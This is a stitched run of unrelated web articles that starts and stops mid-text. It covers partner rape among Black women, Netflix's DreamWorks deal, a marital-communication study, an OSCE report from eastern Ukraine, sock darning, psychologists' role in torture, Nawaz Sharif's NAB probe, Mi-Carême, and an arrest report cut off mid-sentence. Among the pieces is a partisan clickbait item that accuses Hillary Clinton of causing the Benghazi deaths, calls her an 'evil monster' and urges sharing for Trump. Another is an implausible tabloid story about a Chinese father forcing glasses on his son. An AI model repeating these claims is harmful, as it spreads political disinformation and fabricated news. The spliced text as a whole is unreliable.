injuries.”As Black women we have been taught since we were first knee-high that in order to protect our Black men first, our community second and ourselves last, that we needed to learn the value of a closed mouth. Shouldering responsibility in silence was always the best course of action lest it be known publicly—giving our “white enemies” another chance to disparage our people. We were expected to suffer alone; to workout the problem as quietly as we could and to never, ever bring shame into our households. Unfortunately, this responsibility has also caused on our humanly demise.For me, it was (and still is) one of the most distasteful, disgusting and sinful burdens ever to be laid at the feet of Black women. We have been so effective in this community strategy that it has left many of us deathly afraid to speak up and out against those we have loved and claim to have loved us. Those human beings who promised to protect us and instead raped us.I have read the stories from women of color who were raped by their husbands, boyfriends, partners and girlfriends. Women who suffered unimaginable and unbearable agony in fear of what would happen to them should they say anything. They were left unaided by friends, family, and even church members because they did not want to break with tradition, or better yet be seen as a victim.We must stop living like this. We must break our silence and begin coming out in droves telling our stories and confronting those men within our communities, within our lives, who have brought upon us despicable acts of violence and torture. If we do not what will happen to those left behind us? To those growing up now? If in 2011, as reported by NewsOne, “sixtypercent of black girls [had] experienced sexual abuse at the hands of black menbefore reaching the age of 18 ,” what are the chances that the number will double in say the next two or three or four years? How long are going to keep protecting others at the expense of our souls—our bodies—our dignity?I know that coming forward is not, by any means, easy for anyone regardless of the type of abuse but is necessary if we want to control this problem within our community. Black women you have the right to protect yourselves and to place your humanity as your number one priority. Partner rape happens every day to so many of beautiful sisters. Have the courage to stand up and place your perpetrator behind bars. You not only save your life but the life of someone else.For more resources check out:I would also urge you to check out No!: The Rape Documentary by Aishah Simmons who documents the stories of African American women breaking their silence.Alice J. Rollins is an aspiring freelance writer and blogger who holds an M.A. in Women’s and Gender Studies from DePaul University. Her areas of interest include African American women’s spirituality, feminist/womanist pedagogy and politics of migration. She is currently based in Chicago, IL. Email her at: alice@forharriet.com -(Reuters) - Online video rental company Netflix Inc said it won pay TV rights to Dreamworks Animation movies starting in 2013, the first time a major Hollywood studio has chosen an Internet streaming player over a traditional cable channel. The headquarters of Netflix in Los Gatos, California, September 20, 2011. REUTERS/Robert Galbraith News of the deal drove Netflix’s stock up nearly 7 percent to a high of $137.88 in early trade on Nasdaq on Monday. Netflix did not disclose the financial terms of the deal. However, Dreamworks CEO Jeffrey Katzenberg told The New York Times that the deal, worth $30 million per picture to Dreamworks over a number of years, was “game-changing” and represented a bet that viewers would soon no longer make distinctions between content streamed on the Internet or through cable. The Netflix deal means Dreamworks — the studio behind family friendly fare from “Shrek” to “Kung Fu Panda” — is eschewing premium pay-TV operator HBO in favor of online streaming, the Times reported. HBO is a unit of Time Warner Inc. “We are really starting to see a long-term road map of where the industry is headed,” Katzenberg was cited as saying to the newspaper in an interview. The content agreement comes days after Netflix, which has seen its share price decline sharply after a series of missteps, sealed an agreement to broadcast TV shows from Discovery Communications Inc. Netflix needs to add more content to its streaming service to keep drawing in new customers and fend off competition from the likes of Amazon.com, Google Inc and Apple Inc. Shares of the one-time Wall Street darling have fallen 50 percent in two months. Netflix CEO Reed Hastings has apologized for failing to explain moves adequately, from a surprise price hike in July to a separation of its DVD-mail from streaming services, and the company is trying to win customers back. But adding customers is suddenly proving difficult, with Netflix on the receiving end of heated complaints from customers still upset over the price hike announced in July. It cut its subscriber forecast by 1 million, saying it now expected to have 24 million subscribers at the end of the third quarter. The last time Netflix reported a subscriber decline was the second quarter of 2007, when Blockbuster was aggressively pushing a DVD rental package called Total Access. According to the Times, Netflix was quick to pump up the Dreamworks deal. “This is one of the few family entertainment brands that matter,” Chief Content Officer Ted Sarandos was quoted as saying. “It’s also a signal to people that we are in no way moving away from movies. Our programing is just reflecting more and more what people want.” -On the other hand, they found being satisfied can lead to good communication Athens, Ga. – One of the top reasons couples seek counseling is communication issues, so does better communication predict a more satisfying relationship? The answer may not be that simple, according to a study by the University of Georgia’s psychology department published in the Journal of Marriage and Family. “Although communication and satisfaction were correlated, communication wasn’t a good guide for determining partners’ satisfaction with their relationships over time,” said the study’s lead author Justin Lavner, an assistant professor in UGA’s clinical psychology program in the Franklin College of Arts and Sciences. Although communication practices could predict satisfaction to some extent for some couples, the lack of a definitive causal relationship calls for additional attention to other factors that influence marital satisfaction, such as environmental stressors, what activities and interactions a couple has, and the personality traits of the individual partners. “It’s absolutely right to say more satisfied couples do communicate more positively, as well as to say couples who communicate better on average are more satisfied,” he said. “But it gives us a lot more pause to say that one caused the other one, which is really important. I think what this leaves us wondering is what are some of the other factors that matter for couples’ relationships and how these factors predict how couples do over time.” Previous research and theories emphasized communication—or the lack thereof—as a predictor of marital satisfaction and even divorce. Lavner and his co-authors decided to look at whether communication was really a cause or if communication was a consequence of being satisfied, or was simply connected to it instead. More than 400 low-income newlywed couples in Los Angeles participated in the three-year-long study, during which they were assessed four times. At each meeting, conducted in a couple’s home, participants would first complete three different tasks to gauge communication and then fill out a report on their satisfaction with their marriage. The communication tasks were meant to determine whether the couple used positive, negative or effective communication while completing tasks such as picking a problem in their marriage and discussing how to rectify it. “In general, the correlational findings were pretty strong, showing—as we kind of expect—the more satisfied you are, basically, the better you communicate with your spouse,” Lavner said. “What those results showed was that couples who were more satisfied also demonstrated higher levels of positivity, lower levels of negativity and more effectiveness.” The authors were surprised, however, to see that there wasn’t a strong causal link showing that good communication caused satisfaction, Lavner said. There was some evidence of communication being a predictor of satisfaction, but it wasn’t “as strong as it should have been given how central that assumption is in theory as well as practice. Overall, the pattern was one that it wasn’t as robust as theory would lead us to believe,” Lavner said. Indeed, in the majority of cases, communication did not predict satisfaction, nor did satisfaction predict communication, Lavner said. “It was more common for satisfaction to predict communication than the reverse,” he said. “I think the other thing that was surprising is that when one effect was stronger than the other, satisfaction was a stronger predictor of communication. These links have not been talked about as much in the literature; we have focused on communication predicting satisfaction instead.” The authors chose to look at couples with incomes at or below 160 percent of the 1999 federal poverty level for families of four because of the unique stressors present in low-income households. The first few years of marriage are usually a high-stress transition period for couples, with a high risk of divorce, Lavner said. Financial worries further compound the already stressful newlywed period. Lavner is currently focusing on personality characteristics and how they affect relationships, satisfaction levels and divorce. The study, “Does Couples’ Communication Predict Marital Satisfaction, or Does Marital Satisfaction Predict Communication?” is available online at http://onlinelibrary.wiley.com/doi/10.1111/jomf.12301/full. The study was supported by the National Institute of Child Health and Human Development of the National Institutes of Health under grant numbers HD053825 and HD061366. -Just 5 days from election day, and Hillary is hit with new major huge scandal – her involvement in Benghazi tragedy! And with new emails form WikiLeaks, now we know how sick and evil monster she is! According to The Political Insider about Wikileaks published email: Hillary Clinton is having the worst week of any Presidential candidate in history. Read More: Trade DAX and Kilauea volcano video The FBI is closing in on her criminal use of a private email server to transmit classified material. We now know – without a doubt – that foreign governments had easy access to the server. But what’s an even bigger deal is Hillary’s actions which directly lead to the deaths of four Americans – Including a U.S. Ambassador – in Benghazi, Lybia. The terrorist attack was easily avoided, but Hillary refused to provide the security they needed at the embassy. Today, in a new batch of emails, WikiLeaks reaffirmed exactly how Hillary caused the foreign policy disaster in Benghazi. WOW! Hillary Clinton could have saved their lives, but chose note to. She was trying to keep the danger in Benghazi a secret, and left Americans to die. She is unfit for office. America need better candidate for president than Hillary! Is Trump is going to be our greatest president ever or Hillary will be next president ? Please VOTE HERE to see: If you agree, please share and comment below. By sharing this story, you are helping Donald J. Trump to become our new US president. 2.1k ON SHARES Share Tweet -This report is for media and the general public. The SMM witnessed the impact of the conflict on the civilian population in the town of Yasynuvata, and met – in Chernivtsi – with Ukrainian activists delivering supplies to the area of fighting. The SMM deployed an advance team to Mariupol (113 km south of Donetsk) last night at 22:30hrs. They will be reinforced today. Reporting will also be initiated today. The situation in Kharkiv was calm. The SMM talked to the family of an 82-year-old woman, who was reportedly shot by a member of the Ukrainian voluntary ‘Aidar’ battalion in the village of Oleksandrivka, around 90 km north-west of Luhansk (see Daily Report of 28 August 2014). The chief surgeon in Severodonetsk (97 km north-west of Luhansk) hospital confirmed to the SMM that an 82-year-old woman with bullet wounds had been brought to the hospital on 23 August, and was in intensive care. The SMM visited Yasynuvata (20 km north-east of Donetsk) and saw around 80 people in an underground bunker approximately 110 metres long, and 25 metres wide. Most of the sheltering civilians were elderly women. They said that they had been there since 12 August, and were worried about their situation, especially taking into consideration the onset of autumn and winter. In another shelter, located in the basement of a school, the SMM saw around 60 persons, including elderly people and infants, apparently housed there for two or three weeks. There was no electricity in the basement, which consisted of an unspecified number of small rooms – the sheltering civilians used small torches and candles. They seemed to have food and water. The SMM observed in Yasynuvata several multi-storey apartment buildings with most of the flats apparently empty. One of the apartment buildings had two indications of projectile impact. The SMM saw remnants of Grad rockets next to the building. Several combatants from the so-called ‘Donetsk People’s Republic’ (‘DPR’) approached the SMM and reported that on 12 August one of the apartment blocks, used by them as an observation post, was partially damaged by Ukrainian artillery. The SMM also saw a large playground with two signs of artillery impact. Trees, branches and demolished tiles from rooftops littered the place. An entrepreneur from Kramatorsk (97 km north of Donetsk) told the SMM that small and medium-sized enterprises were reviving their activities after several months of interruption. However, many of them had difficulties in delivering current orders because of insufficient capacity. The situation in Dnipropetrovsk, Kherson and Odessa was calm. A doctor from Chernivtsi, and social activists providing supplies such as clothes, shoes, military uniforms, food, and medicines to soldiers fighting in Donbas, told the SMM that their convoys, and volunteering medical personnel, had become sniper targets of either the ‘DPR’ or the so-called ‘Luhansk People’s Republic’. The Ivano-Frankivsk metropolitan of the Ukrainian Greek-Catholic Church expressed dismay about the damage to two churches in Donetsk belonging to the Greek-Catholic and Ukrainian Orthodox (Moscow Patriarchate) Churches. He informed the SMM that chaplains from the Greek-Catholic Church were going to the east to support soldiers, for example, by providing medical care, or they were acting as military chaplains. The church collected funds for flak jackets and helmets for troops. The bishop also said that during the Maidan period, 70 Greek-Catholic priests from Ivano-Frankivsk worked on rotation in Kyiv. The situation in Lviv was calm. Nearly 1,000 participants of a peaceful demonstration held in in front of the Ministry of Defence in Kyiv called on the Government for more intensive support of Ukrainian forces, in particular for the Donbas battalion, which is reportedly encircled by ‘DPR’-affiliated fighters in the town of Ilovaisk (47 km south-east of Donetsk). -Advertisement Just a few months ago, Grishin Robotics made its robotic first investment (that we know of) by writing a check for a cool quarter million to Double Robotics and its rolling iPad telepresence thingy. Today, Grishin has announced investment number two, with another $250,000 going to Elad Inbar's RobotAppStore. What is RobotAppStore? We'll break it down for you: it's a store, that sells apps, for robots. You can buy (or download for free) apps for a variety of consumer robots (Naos, Pleos, Roombas, Lego NXT kits, and more), each of which has been checked out by RobotAppStore itself to make sure it won't cause your hardware to explode. On the other end, developers can sell apps through the store, keeping 70 percent of whatever their apps bring in. Here's Dimtri Grishin on why he decided to go with RobotAppStore: “Robotics is a combination of good hardware and software – thus, the important role of a project like the RobotAppStore in the market ecosystem is unquestionable. The concept of ‘Cloud robotics’, which implies ability of all robots to connect to the internet, share a common knowledge database and seamlessly upgrade their functions in real-time, is a soon-to-be future; one reminiscent of the of personal computer industry. We believe that the strong team behind RobotAppStore coupled with their ability to leverage the advantages of having strong community already built around the product, can make this future closer”, said Dmitry Grishin, founder of Grishin Robotics, Co-Founder & CEO of Mail.Ru Group. That mention of cloud robotics isn't coincidental; Grishin is betting that there's a future in giving robots the same ability to benefit from cloud software and cloud hardware that smartphones have now. Like, let's take some sort of stupendously difficult problem that may or may not be solved (depending on who you ask), like grasping, and imagine how a cloud-based app store or service could improve it: your robot could be about as smart as a plastic spork with an arm and a Kinect on it, but as long as you've got the right app and a connection to the cloud, it doesn't matter. Your bot can simply send a 3D image of the object in question, some supercomputer somewhere can do some number crunching, and send back grasping instructions faster than you can say "wow, that was fast." Obviously, the RobotAppStore isn't set up for this kind of thing yet, but that's why now's the time to invest, I suppose. Anyway, here's what Elad thinks about the whole thing: “The support provided by Grishin Robotics is a great vote of confidence in our plans for the company,” said Elad Inbar, Founder & CEO of RobotAppStore. “It shows their belief in our vision and the importance of the marketplace for robotics applications. The robotics industry has reached its tipping-point with broad market acceptance, usability of robots, and the ability to extend the robots' capabilities. Being a part of Grishin Robotics’ portfolio provides high synergy with other robotics companies and better resource utilization. We are excited to use this funding to secure our place as THE market-leader of the consumer and educational robot-apps™ industry." As much as I'd like to believe this, "the robotics industry has reached its tipping-point" is a sentiment that I've heard consistently ever since I started writing about robots back in 2007, and as far as I can tell, nothing has tipped yet. I think it's more likely that Grishin's investments, and RobotAppStore itself, will help the robotics industry reach some sort of tipping-point in the first place. An app-type ecosystem, where you can download new capabilities for your robot that someone else has come up with rather than taking the time to develop them yourself, is one of the things that has made ROS so successful in robotics, and has the potential to do something similar for consumer robots in general. The only question I have at this point is whether there are really enough robots out there for RobotAppStore to get a good foothold, but even if there aren't (yet), the existence of a place to share apps will perhaps motivate people to buy more robots knowing that new capabilities are already available. [ RobotAppStore ] via [ Grishin Robotics ] -Replacing articles of clothing every time they get holes can become an expensive proposition. Instead, use the darning technique to repair small holes in socks, shirts and other apparel. With a darning needle and yarn, you'll form a network of stitches across the gap. It’s easy to do and can be a big cost-saver. Find thread or yarn that matches the sock in color and texture; you can use embroidery floss to repair a crew sock, while wool yarn is appropriate for a wool sock. Choose a darning needle as well. Place a lightbulb in the sock and position the hole over the lightbulb. Your needle will glide smoothly over the bulb's surface, making your stitching go faster. Thread the darning needle with the yarn or thread and leave the end unknotted. The darning process should create a tight weave that makes knots unnecessary. Start your work on either side of the hole. Take several small vertical running stitches in the intact fabric of the sock, about 1/2 inch to the left or right of the hole. Turn the sock upside down and make another row of stitches next to the first. Increase the number of running stitches you make as you come closer to the hole. When you reach the point at which the hole begins, your stitching line should extend from 1/2 inch above the hole to 1/2 inch below it. Continue making vertical running stitches. When your stitching reaches the hole, take your thread or yarn over the hole and into the fabric on the other side, forming what resembles a vertical bridge over the hole. Stitching should extend 1/2 inch beyond the hole at both the top and bottom edges. Cut the thread end once you have covered the hole with vertical threads and extended the stitching 1/2 inch past it so that both sides of the hole look identical. Thread your darning needle and begin your work 1/2 inch from either side of the hole at either the top or bottom. Take the threaded needle and weave it under and over the vertical threads that cover the hole as well as the vertical threads that lie within 1/2 inch of the hole. Turn the sock upside down once you reach the opposite end of the hole, and weave another yarn strand next to the first. Continue stitching back and forth until you've completely filled the hole. Trim excess thread. -A new report uncovers the role of US psychologists in torture and criticizes the American Psychological Association for supporting interrogation in the name of national security This week the Institute on Medicine as a Profession (IMAP) and the Open Society Foundations (OSF) have published the most comprehensive study on the role of psychologists in the War on Terror. At 269 pages, the full report is as detailed as it is grim, concluding that American psychologists collaborated extensively with the Department of Defense, the Department of Justice, and the CIA to develop a range of interrogation methods used in Afghanistan, Iraq and Guantánamo Bay. The list of methods is horrifying: beatings, exposure to extreme cold, shackling, repeated slamming into walls, sleep deprivation, sensory deprivation, exposure to prolonged white noise and yelling, forced nakedness, exploitation of phobias, slaps to the face and abdomen, cramped confinement, prolonged stress positions (such as having hands and feet chained to the floor), forced feeding via gastrointestinal tubing, sexual and religious humiliation, forcible restraint of the head, deprivation of basic items such as sheets, blankets and mattresses (termed "comfort items"), threats to the detainee’s family, asphyxiation, and waterboarding. The report documents how psychologists consulted with the military under the Orwellian euphemism of "safety officers". Their official role was to work in Behavioral Science Consultation Teams to "identify vulnerabilities of detainees and collaborate with interrogators in exploiting them". Psychologists were selected for these positions based on professional training in clinical and forensic psychology. Yet while clearly valuing these qualifications, the military classified the psychologists as "combatants" rather than health practitioners, a move which enabled them to bypass normal ethical standards. Those ethical standards themselves are unclear. The American Psychological Association (APA) – the official professional body for psychologists in the US – officially rejects torture but it also supports the role of psychologists in interrogation: "It is consistent with the APA Ethics Code for psychologists to serve in consultative roles to interrogation and information-gathering processes for national-security related purposes". The APA has yet to indicate which, if any, of the methods listed in the IMAP/OSF report would be consistent with its ethical policy. The position of the British Psychological Society is even less clear. On the one hand the Society condemns torture yet at the same time remains silent on whether psychologists can assist with interrogation or other military objectives. As with the APA's policy, the point at which interrogation becomes abuse is left unsaid, the boundaries of unethical conduct given room to move. The report makes a number of concrete recommendations, calling for US president Barack Obama to apply more strict prohibitions on the use of "sleep deprivation, isolation, exploitation of fear, and other interrogation methods that violate international standards". It also urges the APA to clarify its ethical policy and "repudiate the report of its Presidential Task Force…that condones the participation of psychologists in interrogation". These are undoubtedly vital reforms, but the facts uncovered by this study raise even more fundamental questions. In the quest for national security, is there a genuine balance to be met between the ideologies of "do no harm" and "prevent harm being done"? At what point (if any) is it morally acceptable for psychologists to be deployed as weapons of war? As important as it is for the psychological profession to clarify its policies on these issues, it is also not for psychologists alone to provide the answers. That responsibility is shared by all citizens of a free society. -Shanghai, China – Since four-fifth of the Chinese students wear glasses. An Asian dad beat up his son for having perfect 6/6 vision. He was convinced that wearing glasses would mean an increase in his sons grades. A boy named Wang Wei, a 15 year old student from Shanghai was badly beaten up by his dad Fang Wei. He then took him to a doctor and forced him to prescribe glasses for his son. Wang was just an average student who would pass all his exams. This want enough as his father’s expectations were very high of him. He attributed this on him having a perfect 6/6 vision and proceeded to beat up his child. The doctor tried convincing his father that corrective glasses are not required with no results. He said he wouldn’t leave until the doctor gave his son glasses. Hence the doctor was left with no choice and prescribed him a Rayban aviator sunglasses. China and many other East Asian countries do not prize time outdoors. Being outdoors and exposure to daylight helps the retina to release a chemical that slows down an increase in the eye’s axial length. Schoolchildren in China are often made to take a nap after lunch rather than play outside; they then go home to do far more homework than anywhere outside East Asia. The older children in China have poor eyesights, as they stay indoors and not because of the country’s notorious pollution. Like this: Like Loading... -Retired marine was abruptly let go from position informing relevant White House officials about covert operations following clash with NSC official When the history of Donald Trump’s war with the US intelligence community is written, the name of the conflict’s first casualty is unlikely to be recorded, as the former marine officer is still a serving CIA official. That marine officer was the CIA’s liaison to the White House, whose duties included bringing relevant White House officials with appropriate security clearance into the loop about covert operations. British spies were first to spot Trump team's links with Russia Read more According to current and former White House and intelligence officials, he lost a bureaucratic struggle with his nominal boss, the National Security Council’s controversial intelligence director. Multiple former colleagues described the former CIA liaison as a consummate professional with no history of infractions. But late one afternoon in mid-March, the retired marine was abruptly informed that his services were no longer needed and he ought not to come to work the next day. Co-workers were shocked at a display that seemed designed to humiliate him. “It was the most disrespectful thing they could have done,” said a White House official familiar with the incident. “He’s a good man. What happened to him was fucked up.” Over a month later, the CIA has not sent a replacement liaison to the White House, though there are other agency officials on loan there. The ex-liaison has not been accused of any crime or abuse and has returned to the CIA. The liaison’s removal, first reported by the Washington Post, followed a clash with Ezra Cohen-Watnick, the 30-year-old intelligence director on the NSC staff, to whom he reported. Cohen-Watnick was a junior case officer at the Defense Intelligence Agency, where he caught the eye of Michael Flynn, the ex-DIA director and first national security adviser to Trump. When Flynn came to the White House, Cohen-Watnick was among the Flynn deputies whom career national security staff came to view as a clique – derisively known in intelligence circles as the “Flynnstones”. For their part, the so-called Flynnstones viewed the career staff as Obama loyalists, and excluded many of them from national security decision-making. When Flynn’s downfall came, owing to the way he misled Vice-President Mike Pence over contacts with the Russian ambassador, his ultimate replacement the current national security adviser, HR McMaster, sought to oust Cohen-Watnick. The CIA, which Trump had for months disparaged, distrusted Flynn and was uncomfortable with Cohen-Watnick remaining as an intermediary between Langley and the White House. But McMaster lost out to Cohen-Watnick, who persuaded strategist Steve Bannon and Jared Kushner, Trump’s son-in-law, to protect him. A Newsweek profile reported that Cohen-Watnick’s parents have ties to Kushner, an added asset for Flynn. “They hate him. They absolutely despise him,” a former senior intelligence official said of the CIA’s view of Cohen-Watnick. The CIA declined comment for this story and the White House did not respond to a request for comment. Cohen-Watnick’s moment of prominence came in late March, when he was exposed as a channel for information used by the House intelligence committee chairman, Devin Nunes, another Flynn ally, to distract from an investigation into Russia’s connections with Trump affiliates. A key figure in that investigation is Flynn, who received tens of thousands of dollars for a speech in Moscow from RT, a news channel the CIA considers an adjunct of official Russian propaganda. Reportedly, Cohen-Watnick provided Nunes with documents purporting to show improper surveillance on Trump’s allies, an allegation Nunes made while obscuring that the narrative, politically convenient for the White House, emerged from the White House itself. Nunes later reluctantly recused himself when the revelation of White House involvement sparked a political outcry. Subsequently, both Democrats and Republicans who viewed the documents considered them anodyne, a far cry from Nunes and Trump’s portrayals. Some sources considered the removal of the CIA liaison to be an act of retaliation for the attempt to get Cohen-Watnick off the NSC. The episode occurred in mid-March, before Nunes made his allegations. Other sources pointed to attempts by the former CIA liaison to stop Cohen-Watnick from taking actions which a White House official declined to describe substantively but characterized as appearing to “operationalize” the NSC. In US national security circles, that term evokes the idea of using the NSC to perform secret or sensitive operations as a backchannel around both Congress, which does not review the NSC, and agencies such as the CIA which would be likely to object. The issue arose during the Iran-contra scandal, when marine lieutenant colonel Oliver North, an NSC official in Ronald Reagan’s White House, sold Iran weapons to fund anti-communist guerrillas in Nicaragua against Congress’s express orders. The former senior intelligence official said Cohen-Watnick had committed “serious protocol violations”. Among them were appearing to take responsibilities for certain covert programs away from the CIA and communicating with lower-level intelligence officials outside of established channels that ensure intelligence chiefs and deputies are aware of White House requests and concerns. Intentionally or not, sources said, Cohen-Watnick created a perception of the White House bypassing intelligence chiefs – right as Trump was tweeting his disapproval of US intelligence, which he considered to be on a politicized witch-hunt to tie him to the Kremlin. “On a procedural level, it would be odd for a senior director to reach down into the bowels of intelligence agencies. There’s a chain of command to go through,” said a different former senior intelligence official. Donald Trump travel ban 'simplistic and wrongheaded', says former CIA chief Read more The removal of the CIA liaison had immediate consequences, sources said. Among the liaison’s tasks were providing visibility for NSC officials into classified programs. That process stalled in the first weeks after the liaison returned to the CIA, but has since been sorted out. In recent weeks, as McMaster has accrued power at the expense of both the Flynn loyalists supporters and Bannon, the White House war with the intelligence agencies has waned. Last week Mike Pompeo made his first speech as CIA director, and insisted to his Washington thinktank audience that the agency and the president had turned a corner in their relationship. But it may be an unsteady equilibrium, particularly as the inquiries into Russia progress. Cohen-Watnick remains in his job. Two weeks after his forced dismissal, several colleagues threw a going-away party for the retired marine officer at the Army-Navy Club on Farragut Square, a few blocks from the White House. At least a dozen NSC staffers attended to fete the now-ex CIA liaison. -Former prime minister Nawaz Sharif and his two sons, Hassan and Hussain, failed to appear before the National Accountability Bureau’s (NAB) Lahore office on Friday for a probe meeting pertaining to a Supreme Court-ordered investigation into the Sharif family's business concerns. Security had been tightened in and around the NAB office, DawnNews reported, with about 200 police personnel deployed in the surrounding area in anticipation of the ousted PM's visit, but Sharif and his sons did not appear today. Subsequently, the five-member NAB team comprising an additional director, a deputy director, and an assistant director, returned to Rawalpindi. NAB sources said a decision on whether or not to send another notice to the family would be made after consultation with the NAB chairman. It also remains to be seen whether Sharif and his sons will be summoned to the offices in Lahore or Islamabad. PML-N insiders earlier told Dawn that Sharif and his sons would ─ after discussion with close aides and their legal team ─ not join the NAB investigation until the apex court decided on his review petition against the July 28 Panamagate verdict which disqualified him from office. Explore: Sharif, sons to skip NAB probe meeting today "Mian Nawaz Sharif and his children have decided not to appear before NAB till a verdict on his review petition in the SC is decided. Sharif has sought a stay of the NAB proceedings and till the apex court decides his petition there is no point in his joining the NAB investigation in cases against him," a close aide to Sharif, who is privy to the development, told Dawn on Thursday. Sharif appealed to the SC to stay further implementation of the Panamagate judgement, which included orders for the opening of references against the family's Al-Azizia Steel Mills and Hill Metal Establishment, and one regarding 16 other companies. The companies are Flagship Investments, Hartstone Properties, Que Holdings, Quint Eaton Place 2, Quint Saloane, Quaint, Flagship Securities, Quint Gloucester Place, Quint Paddington, Flagship Developments, Alanna Services (BVI), Lankin SA (BVI), Chadron, Ansbacher, Coomber and Capital FZE (Dubai). Read more: Panamagate: Decision to disqualify me had been taken before the judgement, Nawaz alleges PML-N's Senator Asif Kirmani, a close aide of the ex-PM, also said neither Sharif nor his sons would appear before NAB in Lahore, and had not received any summons from NAB. A joint team of NAB officials from Lahore and Rawalpindi have also formulated a questionnaire for the investigation. According to a copy of the questionnaire acquired by DawnNews, it is expected that Sharif and his sons will be questioned about financial matters pertaining to Al-Azizia Steel Mills and Hill Metal Establishment. The inquiry may include questions about the purchase of land and machinery for Al-Azizia, and the formation of its internal structure. NAB is also expected to ask for proof of purchase of machinery for the mill from Dubai. The probe team could possibly ask about where the capital for the creation of Hill Metal came from, who was part of the board of directors, and where the shareholder details of the company are. Additionally, the three may be quizzed about the nature of monetary gifts made to Nawaz Sharif by his son Hussain Nawaz. It is possible that Rehman Malik and Shahbaz Sharif may also be summoned by NAB to record their statements. As Sharif and his sons failed to appear before NAB today, a second summons may be issued within the next week or so. A third summons may also be issued if they do not appear before the NAB after the second notice, Dawn reported, added that following this course of action may be a way for the Sharif family to buy some time if the review petition before the SC is not in their favour. With additional reporting by Zulqernain Tahir. -Check out this cute school poster from Japan that teaches kids about lesbian, gay, bisexual and asexual people. The "Who Will You Come To Like?" poster is part of a health series of educational materials. According to ROYGBIV, the two blurbs at the top right say: When young people reach puberty they often like other people this is called sexual attraction. Depending on who a person likes, this is their sexual orientation. Most are heterosexual, but people who are homosexual and bisexual are not altogether a small group. Sexual orientation is innate and it cannot be changed by intervention, so there is no need to change your preferences. and However, adolescence is a time when one generally discovers their sexual orientation. When it comes to understanding one's sexual orientation, one should take as much time as is needed. This version of the poster was put outside of the nurse's office at Saitama Prefecture's Sayama Keizai School of Economics. -With its costume competitions, treats, and atmosphere of mischief, Halloween is Canada’s dominant masquerade festival—but it’s not our only one. The lesser-known Acadian festival of Mi-Carême looks, at a glance, like a peculiar cousin of Halloween. Participants may choose to decorate their driveways with scarecrow-like figures and hang red lights on their homes to prepare for visits from mi-carêmes—masked wanders who roam the streets at night, knocking on doors and asking to be let inside. There, a guessing game begins—who is this masked stranger, a neighbour, or a family member, or a friend? Once the mi-carêmes’ true identities have been revealed, their hosts treat them to a snack—toffee, fudge, and a bit of booze are traditional—and instruments come out for a musical performance before it’s on to the next house. Once widespread throughout French Canada, there are only four spots in Canada where Mi-Carême is still celebrated today: Chéticamp, Nova Scotia, and in Quebec, Natashquan, Isle-aux-Grues, and Fatima. “Mi-Carême used to be celebrated in most small villages and small towns that had Roman Catholic roots, and it was to break the fasting that the church would ask them to do after Mardi Gras and before Easter, the 40 days of Lent,” explains Monique Aucoin, who has celebrated the festival annually for 68 years and is the president of Chéticamp’s Société Mi-Carême (which indeed translates to “mid-Lent”). Over time, various elements of modernity dulled Mi-Carême’s appeal to all but the most remote Acadian villages, where communities are close-knit and trusting, nobody is too fussy about crowds stomping over their hardwood or carpet, and a giddy, carnivalesque event brightening the wintery gloom is very welcome. “In my first life I was a nurse and I always said the week of Mi-Carême was a great week to work because nobody was sick. It’s like endorphins,” says Aucoin. Today, the history of Mi-Carême is cherished (though the festival has lost much of its religious association) and the villages that uphold its tradition also work to expand it, through the creation of visitor information centers and the elongation of the festival itself, which can now feature opening and closing galas or community dances. Those who have moved away are known to return for the event, and newcomers are quickly incorporated into the tradition. “I think it’s the best celebration that our culture has,” says Aucoin, “it makes people happy.” _________ Never miss a story. Sign up for NUVO’s weekly newsletter, here. -Thursday, March 18, 2010 | 12:37 PM Since we launched Google Buzz for mobile, we've been working on ways to make it quicker and easier to share your thoughts and experiences while you're out and about. Today, we're excited to release a Google Buzz widget for Android phones that lets you post text and photos with a single tap. Like other mobile access points for Google Buzz, the widget lets you choose to tag your post with the location or place from which it was posted. You can post buzz about a great meal you had and share photos of the new restaurant. To save time, your posts will upload in the background, letting you get back to your scrumptious dessert without a wait. The widget is initially available in English for Android phones running v1.6 and later. Search for 'Google Buzz' in the Android Market to download it now. Once installed, you can add it to your home screen: tap "Menu" while on the home screen and select "Add > Widgets > Google Buzz". We plan to add support for other languages soon. Visit our Help Center to learn more, ask questions in our Help Forum, or give us suggestions and vote on other people’s on the Mobile Product Ideas page. Update Posted by Zak Cohen, Software Engineer, Google Mobile on March 22nd @11:10 PM: You can also directly scan the QR code below to install the widget. -Ricegrowers predict dire outcomes if water cuts proceed Posted Riverina ricegrowers say propopsed water cuts in the Murrumbidgee system could spell the end of the rice industry as it is known. Consultants in Griffith are doing research on the socio-economic impact of the Murray Darling Basin Authority guide which recommends cuts of up to 45 per cent in local water availability. Ricegrowers gave evidence yesterday on what they said will be the dire impact locally should the cuts proceed. Other industry groups are being consulted this week. The chairman of the parliamentary inquiry into the Murray Darling Basin Guide said yesterday the Basin Authority has done a poor job selling its draft recommendations. A public hearing at Murray Bridge in South Australia was the first in a nine day national tour to hear community submissions on the draft plan. The chairman Tony Windsor said the Authority neglected to explain alternatives to cutting water allocations, causing angst for irrigators in the river system. "It was sold as cutbacks," said Mr Windsor. "And that to the communities and to the political process meant decimation of towns, individuals, livelihoods on the back of the worst drought we've had in ten years. So, poorly marketed." he said. Water economist Mike Young said the Queensland floods show figures given by the Murray Darling Basin Authority in its guide for the Basin's future are inaccurate. Professor Young also appeared before the parliamentary inquiry. Professor Young who is the Executive Director of the Environment Institute at Adelaide University and a member of the Wentworth Group of Concerned Scientists said many of the proposed water cuts are based on averages, rather than seasonal variations. "You can't plan on averages," said Professor Young. "Everyone can now see that we have droughts and we have flooding rains, and so we need an approach that doesn't just talk about average numbers, but actually talks about what will happen when it's dry." The Murray Darling Association says State Government powers to restrict water used by irrigators should be over-ruled by the Basin Authority. The Association's General Secretary - Ray Najar - address the inquiry. "There shouldn't be any restrictions on water use for food production," he said. "there's just no, absolutely no need for it, the small amount of water that we require for growers in South Australia to have full allocations, for example, is about two days flow out of the Murray Mouth." "So it's ridiculous for the government to maintain a policy that was written for drought and use it in a flood situation," said Mr Najar. Topics: irrigation, regional, rivers, water, water-management, rural, griffith-2680, deniliquin-2710, hay-2711, leeton-2705 -A Webster man is in the Harris County Jail, accused of getting a 17-year-old woman drunk and then sexually assaulting her. But what makes this case unique is what finally led to his arrest. On Thursday, Elric Shawn Millner had his picture taken at the Webster jail when he was arrested. He was smiling. On Friday, he was taken before a judge in probable cause court. The smile was gone. "We request a $50,000 bond based on the facts of the offense," said a prosecutor in court Friday morning. Millner is 24 years old. He was 22 when documents allege he sexually assaulted a then-17-year-old woman with whom he was involved. It allegedly happened at the Clear Lake 